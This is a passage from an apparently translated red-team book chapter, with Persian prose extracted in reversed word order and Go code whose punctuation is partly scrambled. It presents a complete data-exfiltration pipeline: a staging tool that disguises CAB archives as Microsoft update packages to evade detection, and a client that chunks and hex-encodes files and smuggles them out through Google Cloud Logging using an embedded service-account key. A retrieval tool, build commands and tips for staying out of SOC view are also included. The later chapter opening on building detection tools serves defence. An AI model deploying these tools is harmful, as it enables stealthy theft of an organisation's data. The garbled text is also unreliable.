 شامل بندی،بسته ابزار هر مانند. نیست خام باینری داده از پیوسته جریان یک نوشتن سادگیبه  CAB فایل یک ایجاد

  CAB کار، این  انجام برای. است( شودمی تمام و شروع  آرشیو درون کجا فایل هر اینکه پیگیری یعنی) هاآفست محاسبه

  را blob درون شدهذخیره متعدد هایفایل که کند،می استفاده CFData و ،CFHeader،  CFFolder ساختارهای از

  پیوندهایی همچنین و توضیحی نظرات شامل سازد،می Go  در را CAB سازیصحنه  ابزار 1-8 فهرست. کنندمی توصیف

 . CAB مشخصات درباره بیشتر جزئیات با Microsoft رسمی مستندات به

--snip -- 

// CAB-specific constants 1 

// MSCF is the magic number that identifies a Microsoft cabinet file . 
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// It′s stored in reverse order (FSCM) due to little-endian byte order . 

const  ( 

MSCF_SIGNATURE = 0x4643534D // ″MSCF″ in reverse (little-endian) 

CAB_HEADER_SIZE = 36 // Size of the CAB header structure 

FOLDER_ENTRY_SIZE = 8 // Size of a folder entry structure 

NO_COMPRESSION = 0 // Value indicating no compression is used 

MAX_FILES = 14 // Maximum files per cabinet 

) 

// CabHeader represents the binary structure of a CAB file header . 

// The order and size of fields are critical for compatibility. 

type CabHeader struct  { 

Signature uint32 // Must be MSCF_SIGNATURE 

Reserved1 uint32 // Reserved field, must be 0 

CBCabinet uint32 // Total size of cabinet file in bytes 

Reserved2 uint32 // Reserved field, must be 0 

COFFFiles uint32 // Offset of first file data 

Reserved3 uint32 // Reserved field, must be 0 

VersionMinor uint8 // CAB format version (usually 3) 

VersionMajor uint8 // CAB format version (usually 1) 

CFolders uint16 // Number of folders (we use 1) 

CFiles uint16 // Number of files in cabinet 

Flags uint16 // Cabinet flags (we use 0) 

SetID uint16 // Cabinet set ID (we use 0) 

ICabinet uint16 // Cabinet number in set (we use 0) 

} 

// CFFolder represents a folder entry in the CAB format . 
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// Even with no compression, the CAB format requires at least one folder entry . 

type CFFolder struct   { 

COFFCabStart uint32 // Offset where this folder′s files begin 

CCFData uint16 // Number of data blocks (1 for uncompressed) 

TypeCompress uint16 // Compression type (0 for none) 

} 

func createCabs(inputPath, outputDir string) error  { 

// Collect all files to process. 

var files []string 

fileInfo, err := os.Stat(inputPath) 

if err != nil  { 

return fmt.Errorf(″error accessing input path: %v″, err) 

} 

--snip -- 

// Initialize CAB header with required values. 

// Most fields are 0, but certain fields must be set for a valid CAB . 

header := CabHeader { 

Signature: MSCF_SIGNATURE , 

VersionMinor: 3 , 

VersionMajor: 1 , 

CFolders: 1, // We always use one folder. 

CFiles: uint16(len(files)), 

// First file data starts after header and folder entry. 

COFFFiles: CAB_HEADER_SIZE + FOLDER_ENTRY_SIZE , 

} 

// Write initial header (size will be updated later). 
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if err := binary.Write(cab, binary.LittleEndian, &header); err != nil  { 

return err 

} 

// Write required folder entry. 

folder := CFFolder { 

COFFCabStart: header.COFFFiles, 

CCFData: 1, // One data block for uncompressed files 

TypeCompress: NO_COMPRESSION , 

} 

if err := binary.Write(cab, binary.LittleEndian, &folder); err != nil  { 

return err 

} 

// Track current position for final size calculation. 2 

currentOffset := int64(folder.COFFCabStart) 

// Write each file with its metadata. 

for _, filePath := range files { 

data, err := os.ReadFile(filePath) 

if err != nil  { 

return err 

} 

// Write filename length and name. 

// Each file entry starts with a 2-byte length followed by the name . 

fileName := filepath.Base(filePath) 

nameLen := uint16(len(fileName)) 

if err := binary.Write(cab, binary.LittleEndian, nameLen); err != nil  { 

return err 
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} 

if _, err := cab.WriteString(fileName); err != nil  { 

return err 

} 

// Write file size and contents . 

fileSize := uint32(len(data)) 

if err := binary.Write(cab, binary.LittleEndian, fileSize); err != nil  { 

return err 

} 

if _, err := cab.Write(data); err != nil  { 

return err 

} 

// Update offset: 2 bytes for name length + name length + 4 bytes for file size + file data 

currentOffset += int64(2 + len(fileName) + 4 + len(data)) 3 

} 

// Update header with final cabinet size and rewrite it. 

header.CBCabinet = uint32(currentOffset) 

cab.Seek(0  ,0) 

return binary.Write(cab, binary.LittleEndian, &header) 

} 

func extractCabs(inputPath, outputDir string) error  { 

fileInfo, err := os.Stat(inputPath) 

if err != nil  { 

return err 

} 

if fileInfo.IsDir{ )( 
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// Extract all CAB files in directory . 

files, err := os.ReadDir(inputPath) 

if err != nil  { 

return err 

} 

for _, file := range files { 

if strings.HasSuffix(strings.ToLower(file.Name()), ″.cab″) { 

if err := extractSingleCab(filepath.Join(inputPath, file.Name()), outputDir); err != nil  { 

return err 

} 

} 

} 

return nil 

} 

return extractSingleCab(inputPath, outputDir) 

} 

func extractSingleCab(cabPath, outputDir string) error  { 

cab, err := os.Open(cabPath) 

if err != nil  { 

return err 

} 

defer cab.Close)( 

--snip -- 

// Read and verify CAB header. 

// Main function 

func main { )( 
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// Parse command line flags . 

mode := flag.String(″mode″, ″create″, ″Mode: create or extract″) 

input := flag.String(″input″, ″″, ″Input file/directory for create, or CAB file for extract″) 

output := flag.String(″output″, ″.″, ″Output directory″) 

flag.Parse )( 

if *input  { ″″ == 

log.Fatal(″Please specify input path″) 

} 

// Initialize random seed for file distribution. 

rand.Seed(time.Now().UnixNano()) 

// Execute requested operation . 

switch *mode  { 

case ″create:″ 

if err := createCabs(*input, *output); err != nil  { 

log.Fatal(err) 

} 

case ″extract :″ 

if err := extractCabs(*input, *output); err != nil  { 

log.Fatal(err) 

} 

default: 

log.Fatal(″Invalid mode. Use ′create′ or ′extract′″) 

} 

} 

 GoStageCab سازیصحنه   ابزار: 1-8 فهرست
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  در را هافایل  حلراه  این. کند  کار باید ساده ساخت یک بنابراین ندارند، نیاز Go از خارجی وابستگی هیچ به هابسته این

 آنجا از. کندمی  ایجاد فایل  آفست محاسبات و مناسب هدر ساختارهای  با CAB هایفایل و  کندمی شمارش دایرکتوری یک

  تا کنید محدود را CAB هر در هافایل  تعداد بخواهید است ممکن کند،می پشتیبانی زیادی هایفایل  از CAB مشخصات که

  فایل هدر ساخت برای شدهمحاسبه مقادیر و شدهتعریف پیش  از هایثابت از کد. کنید ساده را استخراج از پس بازسازی

CAB 1 کندمی استفاده مشخصات طبق. 

  قبل از  پوشه و فایل ساختارهای شمارش معنای به  که ،2 هاستفایل  تعداد و اندازه هایآفست محاسبه نیازمند هدر ساخت

 رویکرد این  که حالی در. کندمی بازنویسی CAB به فایل هر کردن  اضافه هنگام افزایشی صورتبه  را  هدر کد. است

 جایبه کندمی تضمین فرایند  طول در را  دقیق هدر تراز  محاسبات برسد، نظر به ناکارآمد محاسباتی نظر از است ممکن

 هایمجموعه خودکار طوربه  سپس و دهدمی انجام را  شمارش ابزار این . 3 پایان در چیز همه محاسبه برای تلاش

 . کندمی تقسیم شما نظر مورد خروجی دایرکتوری در  CAB فایل چندین در را فایل مجاز حد از تربزرگ

 :کنید اجرا زیر صورتبه  CAB استخراج و ایجاد هایحالت  در را سازیصحنه  ابزار

 %go build gostagecab.go 

 %gostagecab -mode create -input /path/to/folder -output  /. 

 %gostagecab -mode extract -input /path/to/cab/files -output ./extracted 

 .است شده داده نشان 6-8 شکل در خروجی

 

 GoStageCab با آرشیو استخراج و CAB  فایل یک ایجاد: 6-8 شکل

 Microsoft روزرسانیبه هایبسته که کندمی ایجاد هایینام  با CAB هایفایل حلراه  اجرای که کنید توجه
Knowledge Base کنندمی تقلید را  (مانند KB2606001-001.cab .)فایل یک توانیدمی تأیید، عنوانبه CAB در را  

 .کنید بررسی را هاآن هایهش و ببینید دوباره را جداگانه هایفایل تا کنید استخراج جدید دایرکتوری یک

 استخراج کلاینت توسعه 
  خروجی ابتدا،. کرد خواهید استفاده  GCP Cloud Logging سرویس حساب کلید از شما  ،CAB هایفایل  استخراج برای

JSON واحد خط یک به  را Base64 کنید رمزگذاری زیر اجرای با: 

 %cat service-account.json | base64 -w 0 > encoded-sa.txt 

 . دهدمی  نشان را استخراج فقط کلاینت کد 2-8 فهرست
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// Exfil client 

package main 

import  ( 

″context ″ 

″encoding/base64″ 

″encoding/hex ″ 

″flag ″ 

″fmt ″ 

″log ″ 

″os″ 

″strconv ″ 

″strings ″ 

″time ″ 

″cloud.google.com/go/logging ″ 

) 

// Configuration constants 

const  ( 

PROJECT_ID = ″YOUR-PROJECT-ID″ 1 

chunkSize = 250000 

) 

// Add your Base64-encoded service account key here. 2 

const encodedServiceAccount  ̀ = 

// PASTE YOUR BASE64-ENCODED SERVICE ACCOUNT JSON HERE . 

` 

func getServiceAccountJSON() (string, error)   { 

decoded, err := base64.StdEncoding.DecodeString(encodedServiceAccount) 
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if err != nil  { 

return ″″, fmt.Errorf(″failed to decode service account: %v″, err) 

} 

return string(decoded), nil 

} 

func readFiletoHex(file_name string) string  { 

file, err := os.Open(file_name) 

if err != nil  { 

log.Fatalf(″Ensure you have specified a valid filepath %v″, err) 

} 

defer file.Close)( 

fileInfo, err := file.Stat )( 

if err != nil  { 

panic(err) 

} 

fileSize := fileInfo.Size)( 

fileData := make([]byte, fileSize) 

 ,_err = file.Read(fileData) 

if err != nil  { 

panic(err) 

} 

hexData := hex.EncodeToString(fileData) 

return hexData 

} 

func main { )( 

exfil_file := flag.String(″file″, ″″, ″Path to file for exfiltration″) 
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flag.Parse )( 

if *exfil_file  { ″″ == 

log.Fatal(″Please provide a file path using --file″) 

} 

// Create temporary service account file. 

svcJSON, err := getServiceAccountJSON )( 

if err != nil  { 

log.Fatalf(″Failed to get service account: %v″, err) 

} 

tmpFile, err := os.CreateTemp(″″, ″svc-*.json″) 

if err != nil  { 

log.Fatalf(″Failed to create temp file: %v″, err) 

} 

defer os.Remove(tmpFile.Name()) 

if _, err := tmpFile.WriteString(svcJSON); err != nil { 

log.Fatalf(″Failed to write service account: %v″, err) 

} 

tmpFile.Close)( 

os.Setenv(″GOOGLE_APPLICATION_CREDENTIALS″, tmpFile.Name()) 

ctx := context.Background )( 

client, err := logging.NewClient(ctx, PROJECT_ID) 

if err != nil  { 

log.Fatalf(″Failed to create client: %v″, err) 

} 

defer client.Close)( 

fileParts := strings.Split(*exfil_file, ″/″) 
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fileName := fileParts[len(fileParts)-1] 

timestamp := time.Now().Unix )( 

exfilID := fmt.Sprintf(″%s-%d″, fileName, timestamp) 

logName := fmt.Sprintf(″exfil-%s″, exfilID) 

logger := client.Logger(logName) 

hexData := readFiletoHex(*exfil_file) 

hexDataLen := len(hexData) 

chunksRemaining := (hexDataLen + chunkSize - 1) / chunkSize 

totalChunks := chunksRemaining 

metadataEntry := map[string]interface {}{ 

″filename″: fileName , 

″total_chunks″: totalChunks, 

″timestamp″: timestamp, 

″total_size″: hexDataLen, 

} 

logger.Log(logging.Entry { 

Payload: metadataEntry, 

Severity: logging.Info , 

Labels: map[string]string { 

″type″: ″metadata ,″ 

″exfil_id″: exfilID, 

,} 

 )} 

for i := 0; i < hexDataLen; i += chunkSize { 

chunkEnd := i + chunkSize 

if chunkEnd > hexDataLen { 
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chunkEnd = hexDataLen 

} 

chunk := hexData[i:chunkEnd] 

chunkNum := i/chunkSize + 1 

logger.Log(logging.Entry { 

Payload: chunk, 

Severity: logging.Info , 

Labels: map[string]string { 

″type″: ″chunk ,″ 

″chunk-number″: strconv.Itoa(chunkNum) , 

″total-chunks″: strconv.Itoa(totalChunks), 

″exfil_id″: exfilID, 

,} 

 )} 

chunksRemaining -- 

log.Printf(″Chunk %d/%d: %d bytes processed\n″, chunkNum, totalChunks, len(chunk)/2) 

} 

fmt.Printf(″\n=== File Exfiltration Complete ===\n″) 

fmt.Printf(″To retrieve this file, use:\n″) 

fmt.Printf(″./gologretrieve --exfil-id %s\n″, exfilID) 

fmt.Printf(″===============================\n″) 

} 

 GoLogExfil با Cloud Logging به آپلود  و هگز، رمزگذاری ها،فایل کردن تکهتکه: 2-8 فهرست

  در  را خود شدهرمزگذاری  JSON و 1 دهید تغییر خود GCP پروژه شناسه به را PROJECT_ID ثابت که شوید مطمئن

  250KB فرضپیش ما اما کنید، تنظیم را  تکه اندازه اختیاری صورتبه توانیدمی. 2 کنید گذاریجای کد در مناسب مکان
 .کنیممی توصیه GCP Cloud Logging اندازه هایمحدودیت در ماندن برای را
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 هایتکه به و خواندمی  را شما CAB هایفایل  که باشد GCP Cloud Logging ساده کلاینت یک باید نتیجه

 . کندمی  استریم هدف GCP  پروژه به شما سرویس حساب کلید از استفاده با و کندمی رمزگذاری هگز به شدهرمزگذاری

 فایل  بازیابی  کلاینت ایجاد
  مراحل همان. کنید جاسازی API پایانی نقطه به دسترسی برای  را سرویس حساب هایاعتبارنامه باید استخراج، کد مانند

  نشان بازیابی، کد. کنید دنبال کامپایل از  قبل PROJECT_ID ثابت روزرسانیبه و کلید  گذاریجای  برای را قبلی بخش

  و کند،می مرتب تکه شماره اساس  بر را هاآن کند،می جستجو  هاآن  exfil شناسه با را هاتکه  ،3-8 فهرست در شدهداده 

 .کندمی  بازسازی را فایل

// Retrieve client. 

package main 

import  ( 

″context ″ 

″encoding/base64″ 

″encoding/hex ″ 

″flag ″ 

″fmt ″ 

″log ″ 

″os″ 

″strings ″ 

″cloud.google.com/go/logging/logadmin ″ 

″google.golang.org/api/iterator ″ 

structpb ″google.golang.org/protobuf/types/known/structpb ″ 

) 

// Configuration constants 

const  ( 

PROJECT_ID = ″YOUR-PROJECT-ID ″ 

) 

// Add your Base64-encoded service account key here. 
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const encodedServiceAccount  ̀ = 

// PASTE YOUR BASE64-ENCODED SERVICE ACCOUNT JSON HERE . 

` 

func getServiceAccountJSON() (string, error)   { 

decoded, err := base64.StdEncoding.DecodeString(encodedServiceAccount) 

if err != nil  { 

return ″″, fmt.Errorf(″failed to decode service account: %v″, err) 

} 

return string(decoded), nil 

} 

func main { )( 

exfil_id := flag.String(″exfil-id″, ″″, ″Exfil ID to retrieve (filename-timestamp)″) 1 

output_dir := flag.String(″output-dir″, ″.″, ″Directory to save retrieved files″) 

flag.Parse )( 

if *exfil_id  { ″″ == 

log.Fatal(″Please provide an exfil ID using --exfil-id″) 

} 

// Use temporary service account . 

svcJSON, err := getServiceAccountJSON )( 

if err != nil  { 

log.Fatalf(″Failed to get service account: %v″, err) 

} 

tmpFile, err := os.CreateTemp(″″, ″svc-*.json″) 

if err != nil  { 

log.Fatalf(″Failed to create temp file: %v″, err) 

} 
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defer os.Remove(tmpFile.Name()) 

if _, err := tmpFile.WriteString(svcJSON); err != nil { 

log.Fatalf(″Failed to write service account: %v″, err) 

} 

tmpFile.Close)( 

os.Setenv(″GOOGLE_APPLICATION_CREDENTIALS″, tmpFile.Name()) 

ctx := context.Background )( 

adminClient, err := logadmin.NewClient(ctx, PROJECT_ID) 

if err != nil  { 

log.Fatalf(″Failed to create admin client: %v″, err) 

} 

defer adminClient.Close)( 

var metadata map[string]interface }{ 

var chunks []string 

chunkMap := make(map[int]string) 

filter := fmt.Sprintf(`resource.type=″project″ labels.exfil_id=″%s″`, *exfil_id) 

iter := adminClient.Entries(ctx , 

logadmin.Filter(filter) , 

logadmin.NewestFirst,)( 

) 

entriesFound := 0 

for  { 

entry, err := iter.Next )( 

if err == iterator.Done { 

break 

} 
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if err != nil  { 

log.Fatalf(″Error reading logs: %v″, err) 

} 

entriesFound ++ 

labels := entry.Labels 

log.Printf(″Found entry with type: %s″, labels[″type″]) 

if labels[″type″] == ″metadata { ″ 

switch payload := entry.Payload.(type)  { 

case map[string]interface :}{ 

metadata = payload 

case *structpb.Struct : 

metadata = payload.AsMap )( 

default: 

log.Printf(″Unexpected metadata payload type: %T″, entry.Payload) 

continue 

} 

log.Printf(″Found metadata: %+v″, metadata) 

continue 

} 

if labels[″type″] == ″chunk″ { 2 

chunkNum := 0 

fmt.Sscanf(labels[″chunk-number″], ″%d″, &chunkNum) 

var chunkData string 

switch payload := entry.Payload.(type)  { 

case string : 

chunkData = payload 
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case *structpb.Value: 

chunkData = payload.GetStringValue )( 

default: 

log.Printf(″Unexpected chunk payload type: %T″, entry.Payload) 

continue 

} 

chunkMap[chunkNum] = chunkData 

log.Printf(″Found chunk %d″, chunkNum) 

} 

} 

if entriesFound == 0  { 

log.Fatalf(″No entries found for exfil ID: %s″, *exfil_id) 

} 

if metadata == nil  { 

log.Fatal(″No metadata found for specified exfil ID″) 

} 

totalChunks := int(metadata[″total_chunks″].(float64)) 

chunks = make([]string, totalChunks) 

for i := 1; i <= totalChunks; i { ++ 

if chunk, ok := chunkMap[i]; ok  { 

chunks[i-1] = chunk 

 }else { 

log.Fatalf(″Missing chunk %d″, i) 

} 

} 

combined := strings.Join(chunks, ″″) 
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decoded, err := hex.DecodeString(combined) 

if err != nil  { 

log.Fatalf(″Failed to decode hex data: %v″, err) 

} 

filename := metadata[″filename″].(string) 

outputPath := fmt.Sprintf(″%s/%s″, *output_dir, filename) 

if err := os.WriteFile(outputPath, decoded, 0644); err != nil  { 

log.Fatalf(″Failed to write output file: %v″, err) 

} 

log.Printf(″Successfully retrieved and reconstructed file: %s″, outputPath) 

} 

 شدهاستخراج هایفایل  بازسازی و سازی،مرتب جستجو، برای GoLogRetrieve کلاینت: 3-8 فهرست

  شناسه به استخراج، کلاینت مشابه. کنید نصب را SDK GCP هایوابستگی باید کد کامپایل برای باشید، داشته یاد به

 . داشت خواهید نیاز سرویس حساب به متصل مناسب مجوزهای و GCP پروژه

 بازسازی و گزارش ثبت سرویس جستجوی برای سرویس حساب کلید همان از GCP Cloud Logging کلاینت این

  یک به گزارش هایورودی  کدام اینکه شناسایی برای exfil 1 شناسه یک به کلاینت. کندمی استفاده شدهاستخراج  هایفایل

 بازیابی را تکه هر کد  ،2 اندشده تکهتکه استخراج طول در که هاییفایل  برای. دارد نیاز دارند تعلق خاص فایل آپلود

 کامل فایل نوشتن از  قبل صحیح ترتیب به را هاآن سپس و کند،می ذخیره تکه شماره اساس بر حافظه  در  را هاآن کند،می

 .کندمی بازسازی دیسک روی

 استخراج  کامل   لوله خط اجرای
 .کنید اجرا را 4-8 فهرست هایفرمان کامل، حلراه کامپایل برای

 #Initialize the module . 

go mod init gologexfil 

 #Get the required dependencies. 

go get cloud.google.com/go/logging 

go get cloud.google.com/go/logging/logadmin 

go get google.golang.org/api/iterator 

go get google.golang.org/protobuf/types/known/structpb 
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 #Build the exfil client . 

go build -o gologexfil gologexfil-1.1.go 

 #Build the retrieval client. 

go build -o gologretrieve retrieve.go 

 #Usage 

/.gologexfil --file /path/to/file 

/.gologretrieve --exfil-id <filename-timestamp > 

 استخراج ابزارهای ساخت و هاوابستگی اندازیراه : 4-8 فهرست

  در که طورهمان شوند،می تقسیم هاتکه به  شدهتعریف پیش از بایت تعداد یک اساس بر تربزرگ هایفایل  اجرا، زمان در

 نوشتن زمان  در. ایمکرده تنظیم 250KB روی  را مقدار این ما شد، ذکر قبلا   که طورهمان.  است شده داده نشان 7-8 شکل

  برای 6KB بافر. کندمی پشتیبانی گزارش ورودی هر  برای 256KB حداکثر GCP Cloud Logging مطلب، این

 .شودمی حساب بازیابی طول در هافایل  بازسازی برای نیاز مورد فراداده

 

 GoLogExfil خروجی: 7-8 شکل

  8-8 شکل) داشت خواهید نیاز استخراج خروجی انتهای در شدهداده  نشان exfil شناسه به بازیابی، ابزار از استفاده برای

 کند شناسایی فردمنحصربه طور به  را آپلود هر تا کندمی ترکیب Unix زمانی مُهر یک با را  فایل نام شناسه این(. ببینید را

 از لطفا   کنید،می استفاده Windows محیط یک در PowerShell از اگر. کند جلوگیری بالقوه نام هایتعارض از و

 . کنید استفاده خود مسیر در Unix سبک جلوی به رو هایاسلش
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 GoLogRetrieve اجرای زمان  خروجی: 8-8 شکل

  کردن، تکهتکه)  سرویس چندین از استفاده با 7 لایه  «جریان» یک عنوانبه  را blob شیس یک شما که آنجا از

 بررسی ناخواسته تغییر هر برای که است خوبی ایده کنید،می منتقل( رمزگشایی  بازیابی، گزارش، ثبت هگز، رمزگذاری

 که طورهمان کنید، مقایسه شدهبازیابی هایفایل  با را خود شدهسازیصحنه منبع هش حیاتی، هایفایل ارسال هنگام. کنید

 .است نشده خراب انتقال طول در چیز هیچ که شود حاصل اطمینان تا است،  شده داده نشان  9-8 شکل در

 

 شدهبازیابی و منبع هایفایل  برای MD5 هایهش مقایسه با فایل یکپارچگی اعتبارسنجی: 9-8 شکل

 کنید باز را خود مرورگر. رسدمی نظر به چگونه GCP Cloud Logging در شدهتکهتکه ورودی هر کنیم بررسی بیایید

 صفحه، مرکز نزدیک. بروید آن به سپس و کنید جستجو را Logs Explorer. شوید وارد Google Cloud کنسول به و

  کردید آپلود که  فایلی نام ،SEARCH تابع برای سپس، و کنید تنظیم INFO روی را شدت. دید خواهید وجوپرس رابط یک

 (. ببینید  را 10-8 شکل) کنید وارد دوگانه قولنقل هایعلامت  درون را

 

 Logs Explorer وجویپرس فیلتر:  10-8 شکل
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  فراداده و بار تا دهید گسترش را JSON کلید مقادیر. کنید پیدا را  خود فایل نام از تکه یک و کنید اجرا را خود وجویپرس

-CISA و ببینید، تکه شناسه اساس بر گزارش ورودی هر برای هگزادسیمال مقادیر از جریان یک باید. کنید بررسی را
IR-Playbook.pdf است شده داده  نشان 11- 8 شکل در که طورهمان ما. 

 

 در هگز به شدهرمزگذاری  فایل  جریان دهدمی نشان که Logs Explorer ورودی یک یافتهگسترش نمای: 11-8 شکل

 رسدمی نظر به چگونه کنسول

  مثال این. دارد بستگی ایدپیچیده CAB یک در  را خود هایباینری آیا اینکه و ها،فایل  تعداد اندازه، به  شما برچسب مقادیر

 . است شده استخراج CAB فایل یک در پیچیدن  بدون 22  از 9 تکه عنوانبه که  دهدمی  نشان را PDF فایل یک

 خلاصه 
  با سازیصحنه  ابزار یک ابتدا،. ساختید Go سفارشی ابزار سه با کامل استخراج لوله  خط یک شما فصل، این در

 Windows هایفایل که تصادفیشبه  فایل هاینام از استفاده با Microsoft CAB  فایل قالب در هافایل بندیبسته
Update به را هافایل  که دادید توسعه استخراج کلاینت یک بعد،.  کردید ایجاد تشخیص از فرار برای کنندمی تقلید را  

 GCP به گزارش هایورودی عنوانبه  را هاآن و کند،می  رمزگذاری هگز به را هاآن  کند،می تکهتکه  250KB هایبخش
Cloud Logging خودکارسازی برای بازیابی ابزار یک نهایت، در . دهدمی جلوه روتین را ترافیک و—کند می آپلود 

 هاLOLBin به اتکا  فصل این آزمایشگاه. ساختید خرابی بدون اصلی باینری شکل به گزارش ورودی هایجریان بازسازی

  شما استخراج استراتژی به پذیری انعطاف  افزودن برای ابری بومی خدمات از و دهدمی کاهش است ممکن که  جایی در را

 .بمانید خارج SOC دید از تریطولانی مدت برای کندمی کمک شما به و کند،می استفاده
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 اعتبارسنجی و  تست    : سوم بخش
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 تشخیص  ابزارهای  ساختن  9
 انجام. باشد تشخیص مهندسی  هایتیم برای تاکتیکی هایتوصیه ارائه شامل باید قرمز تیم متخصص یک عنوانبه شما نقش

 تا کندمی کمک شما به هاتشخیص آزمایش و نوشتن ؛«سوزانیدمی» را حیاتی بارهای شما که نیست معنا این به کار این

  هایایمپلنت شناسایی برای تشخیص ابزار دو شما فصل، این در. هستند کارپنهان چقدر عمل در شما ابزارهای بسنجید دقیقا  

 برای Go باینری تحلیلگر یک ابتدا،. ساخت خواهید  قبلی هایفصل  از مشکوک شبکه رفتار و Go بر مبتنی مخرب

  گزارش تولیدکننده یک شامل که شبکه ترافیک دهندهتشخیص یک سپس و نوشت، خواهید شدهکامپایل هایبرنامه بررسی

 . کرد خواهید ایجاد است گرایانهواقع  آزمایشی داده تولید برای

 اینجا  که ابزاری دو توانیدمی. کرد خواهید تمرکز هاTTP و نشانگرها از ترکیبی بر شما تشخیص، استراتژی هر مانند

 در که طورهمان  ،SOAR هایپلتفرم یا ها،EDR ها،SIEM مانند) موجود تشخیص مهندسی ابزارهای با را سازیدمی

 . کنید تقویت را خود سازمان امنیتی برنامه تا کنید ادغام( شده بح  183  صفحه در «استقرار معماری»

 باینری  ویژگی  تحلیل
 Go از محدودی پشتیبانی  برخی. کردیم بح  موجود معکوس مهندسی ابزارهای با زبان پشتیبانی درباره ما ، 2 فصل در

 بخشی عنوانبه  را  زداییاشکال هایبسته Go خوشبختانه،.  ندارند C خانواده از فراتر پشتیبانی هیچ دیگر برخی و دارند،

  یک  نیست نیازی. کند تفسیر را خود شدهکامپایل هایباینری راحتیبه تواندمی و شودمی شامل  خود استاندارد کتابخانه از

 ممکن باینری بفهمند انفجار از قبل کنید کمک مدافعان به تا دارید نیاز ایساده  هایروش به اما بسازید، ابتدا از کامپایلردی

  و ساخت، اطلاعات نمادها، شامل کند،می  تجزیه را ELF  و PE باینری ساختارهای حلراه این.  دهد  انجام کاری چه است

 .کندمی گذاریعلامت را کنند بررسی بیشتر باید مدافعان که مشکوکی نشانگر هر و واردشده، هایبسته

 شبکه  رفتار تحلیل
SOCیک وقتی حتی. هستند مخرب هایفعالیت تشخیص برای شبکه ترافیک گزارش ثبت نوعی شامل اغلب ها IPS  

 حلراه. کند شناسایی تهدیدها کشف برای را ناهنجار رفتار تواندمی هنوز کند، بازرسی را شدهرمزگذاری ترافیک تواندنمی

  هایجفت و اتصال بندیزمان و کندمی بررسی  را فایروال ترافیک هایگزارش  و کرد، خواهد عمل مبنا آن  بر فصل  این

 .کندمی تحلیل را فردمنحصربه مقصد-منبع 
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  از که هاییایمپلنت برای. بود خواهید منظم هایبازه در پیوسته ترافیک دنبال به بالقوه، هایbeacon پایش برای

  بیش که باشید ترافیکی دنبال به باید همچنین ،(ایدساخته  قبلی هایفصل  در که هاییآن مانند) کنندمی استفاده سازیتصادفی 

  حداقل،. است دشوارتر هدف میزبان معمول رفتار برای پایه خط یک داشتن  بدون این  هرچند است، تصادفی حد از

 .کنید تنظیم هشدار  برای هاییآستانه و کنید محاسبه را آنتروپی مانند پایه آمار توانیدمی

 همچنین حلراه این تحلیل، به کمک برای. است مناسب هدف این برای فراوانش داده علوم  هایکتابخانه دلیلبه پایتون

  JSON در را هایافته همچنین و کند،می تولید ترافیک هایگزارش تفسیر در مدافعان به کمک برای هاییهیستوگرام

 .شوند دریافت ،SIEM یک مانند دیگر،  تحلیل ابزارهای در راحتیبه بتوانند تا دهدمی خروجی

 فنی الزامات
 : دارید نیاز زیر هاینصب به آزمایشگاه، این تکمیل برای

• Go (اندشده آزمایش 1.21.4 نسخه با هامثال این) 

• Python 3.x (اندشده آزمایش 3.11 نسخه  با هامثال این) 

• VS Code رسمی هایافزونه  با Go و Python (اختیاری ) 

 هایتیم چگونه بگیرید نظر  در  شد، خواهند اجرا مستقل طوربه آزمایشگاه اهداف برای تشخیص ابزارهای این که  حالی در

  سفارشی  تحلیل حال، این با(. ببینید را 1-9 شکل) کنند  ادغام تولیدی هایمحیط در را هاآن  توانندمی تشخیص مهندسی

 . کنید فعال استراتژیک صورتبه  را هاحلراه خواهیدمی  بنابراین کند،می  اضافه موجود هایسیستم به محاسباتی سربار

 

 تشخیص  مهندسی بالقوه  کارهایگردش : 1-9 شکل

  فقط که SOAR قابلیت یا  EDR افزونه یک در را Go ایستای اسکن حلراه توانیدمی چگونه دهدمی نشان بالا جریان

 هایقابلیت سازمانی سطح های EDR از بسیاری. کنید سازیپیاده شودمی اجرا تأییدشده باینری نوشتن رویدادهای روی

.  کنند اجرا را  اضافی تحلیل نوع این توانندمی  که دارند sandboxing یا اضافی هایhook انجام برای API دسترسی

  خروجی خطر امتیازدهی برای دیگر ابزارهای به را  خود هاییافته و کندمی بررسی را باینری هایویژگی تحلیلگر

 .دهدمی

  صورت، آن در. باشد سنگین  بسیار  طولانی مدت یک در است ممکن تحلیل بار ،(شبکه ترافیک رفتار) پایین جریان برای

. کنید استفاده واقعی زمان یا خطیدرون  هایتشخیص از  دوربه دیگر خارجی  ابزار یا SOAR یک از کنیممی توصیه ما

 کند،می اجرا مشکوک الگوهای شناسایی برای را دهندهتشخیص کند،می  پردازش ایدسته  را شبکه هایگزارش  ابزار این

 .گرداندبرمی اضافی همبستگی برای SIEM به را ساختاریافته خروجی سپس و
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 Go  باینری  تحلیلگر  ساختن
 را جزئیات توانیدمی—کندمی ساده را نمادها و بسته، واردات ساخت، اطلاعات تجزیه  Go داخلی  زداییاشکال قابلیت

 . است شده داده نشان  1-9 فهرست در که طورهمان کنید،  شمارش باینری از مستقیما  

--snip -- 

type BinaryAnalyzer struct  { 

path string 

info *buildinfo.BuildInfo 

symbols []string 

imports []string 

packages map[string]string 

} 

func NewAnalyzer(path string) *BinaryAnalyzer  { 

return &BinaryAnalyzer { 

path: path, 

packages: make(map[string]string) , 

} 

} 

func (a *BinaryAnalyzer) Analyze() error  { 

// Get build info (works even with stripped binaries). 

info, err := buildinfo.ReadFile(a.path) 

if err != nil  { 

return fmt.Errorf(″reading build info: %v″, err) 

} 

a.info = info 

// Try ELF analysis first . 

if err := a.analyzeELF(); err != nil  { 
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// If not ELF, try PE. 

if err := a.analyzePE(); err != nil  { 

return fmt.Errorf(″analyzing binary: %v″, err) 

} 

} 

return nil 

} 

func (a *BinaryAnalyzer) analyzeELF() error   { 

f, err := elf.Open(a.path) 

if err != nil  { 

return err 

} 

defer f.Close)( 

// Get symbol table . 

symbols, err := f.Symbols)( 

if err == nil  { 

for _, sym := range symbols { 

a.symbols = append(a.symbols, sym.Name) 

} 

} 

// Look for .gopclntab section. 

section := f.Section(″.gopclntab″) 

if section != nil  { 

pclndat, err := section.Data)( 

if err == nil  { 

pcln := gosym.NewLineTable(pclndat, f.Section(″.text″).Addr) 
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table, err := gosym.NewTable(nil, pcln) 

if err == nil  { 

for _, fn := range table.Funcs { 

a.symbols = append(a.symbols, fn.Name) 

} 

} 

} 

} 

return nil 

} 

func (a *BinaryAnalyzer) analyzePE() error  { 

f, err := pe.Open(a.path) 

if err != nil  { 

return err 

} 

defer f.Close)( 

// Get symbol table . 

if f.Symbols != nil  { 

for _, sym := range f.Symbols { 

a.symbols = append(a.symbols, sym.Name) 

} 

} 

return nil 

} 

